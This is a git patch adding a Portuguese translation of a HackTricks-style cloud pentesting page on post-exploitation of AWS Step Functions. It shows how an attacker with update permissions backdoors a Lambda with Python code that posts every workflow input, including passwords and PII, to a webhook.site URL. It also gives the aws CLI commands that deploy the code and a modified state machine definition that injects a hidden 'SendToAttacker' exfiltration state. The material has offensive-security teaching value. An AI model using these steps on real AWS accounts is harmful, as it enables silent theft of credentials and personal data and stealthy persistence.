From ba8a0af8225f51a40fe6fef1b5d7796253c0ac74 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 27 Mar 2025 12:45:10 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws --- .../aws-stepfunctions-post-exploitation.md | 122 +++++++++++++++++- 1 file changed, 120 insertions(+), 2 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md index 291e00810..98c21fb2b 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md @@ -45,7 +45,7 @@ aws stepfunctions update-map-run --map-run-arn [--max-concurrency [!WARNING] > Esta ação não é suportada por **máquinas de estado expressas**. @@ -56,11 +56,129 @@ aws stepfunctions stop-execution --execution-arn [--error ] [--ca ### `states:TagResource`, `states:UntagResource` -Um atacante poderia adicionar, modificar ou remover tags dos recursos do Step Functions, interrompendo a alocação de custos da sua organização, o rastreamento de recursos e as políticas de controle de acesso baseadas em tags. +Um atacante poderia adicionar, modificar ou remover tags de recursos do Step Functions, interrompendo a alocação de custos da sua organização, o rastreamento de recursos e as políticas de controle de acesso baseadas em tags. ```bash aws stepfunctions tag-resource --resource-arn --tags Key=,Value= aws stepfunctions untag-resource --resource-arn --tag-keys ``` **Impacto Potencial**: Interrupção da alocação de custos, rastreamento de recursos e políticas de controle de acesso baseadas em tags. +--- + +### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode` + +Um atacante que comprometer um usuário ou função com as seguintes permissões: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "AllowUpdateStateMachine", +"Effect": "Allow", +"Action": "states:UpdateStateMachine", +"Resource": "*" +}, +{ +"Sid": "AllowUpdateFunctionCode", +"Effect": "Allow", +"Action": "lambda:UpdateFunctionCode", +"Resource": "*" +} +] +} +``` +...pode conduzir um **ataque de pós-exploração de alto impacto e furtivo** combinando backdooring do Lambda com manipulação da lógica do Step Function. + +Este cenário assume que a vítima usa **AWS Step Functions para orquestrar fluxos de trabalho que processam entradas sensíveis**, como credenciais, tokens ou PII. + +Exemplo de invocação da vítima: +```bash +aws stepfunctions start-execution \ +--state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ +--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim +``` +Se a Step Function estiver configurada para invocar um Lambda como `LegitBusinessLogic`, o atacante pode prosseguir com **duas variantes de ataque furtivas**: + +--- + +#### Atualizou a função lambda + +O atacante modifica o código da função Lambda já utilizada pela Step Function (`LegitBusinessLogic`) para exfiltrar silenciosamente os dados de entrada. +```python +# send_to_attacker.py +import requests + +def lambda_handler(event, context): +requests.post("https://webhook.site//exfil", json=event) +return {"status": "exfiltrated"} +``` + +```bash +zip function.zip send_to_attacker.py + +aws lambda update-function-code \ +--function-name LegitBusinessLogic \ +--zip-file fileb://function.zip -profile attacker +``` +--- + +#### Adicionar um Estado Malicioso à Função de Passo + +Alternativamente, o atacante pode injetar um **estado de exfiltração** no início do fluxo de trabalho atualizando a definição da Função de Passo. +```malicious_state_definition.json +{ +"Comment": "Backdoored for Exfiltration", +"StartAt": "OriginalState", +"States": { +"OriginalState": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1::function:LegitBusinessLogic", +"End": true +} +} +} + +``` + +```bash +aws stepfunctions update-state-machine \ +--state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ +--definition file://malicious_state_definition.json --profile attacker +``` +O atacante pode ser ainda mais furtivo ao atualizar a definição de estado para algo como isto +{ +"Comment": "Backdoored for Exfiltration", +"StartAt": "ExfiltrateSecrets", +"States": { +"ExfiltrateSecrets": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", +"InputPath": "$", +"ResultPath": "$.exfil", +"Next": "OriginalState" +}, +"OriginalState": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", +"End": true +} +} +} +onde a vítima não perceberá a diferença + +--- + +### Configuração da Vítima (Contexto para Exploração) + +- Uma Step Function (`LegitStateMachine`) é usada para processar entradas sensíveis do usuário. +- Ela chama uma ou mais funções Lambda, como `LegitBusinessLogic`. + +--- + +**Impacto Potencial**: +- Exfiltração silenciosa de dados sensíveis, incluindo segredos, credenciais, chaves de API e PII. +- Sem erros ou falhas visíveis na execução do fluxo de trabalho. +- Difícil de detectar sem auditar o código Lambda ou rastros de execução. +- Permite persistência a longo prazo se o backdoor permanecer no código ou na lógica ASL. + {{#include ../../../banners/hacktricks-training.md}}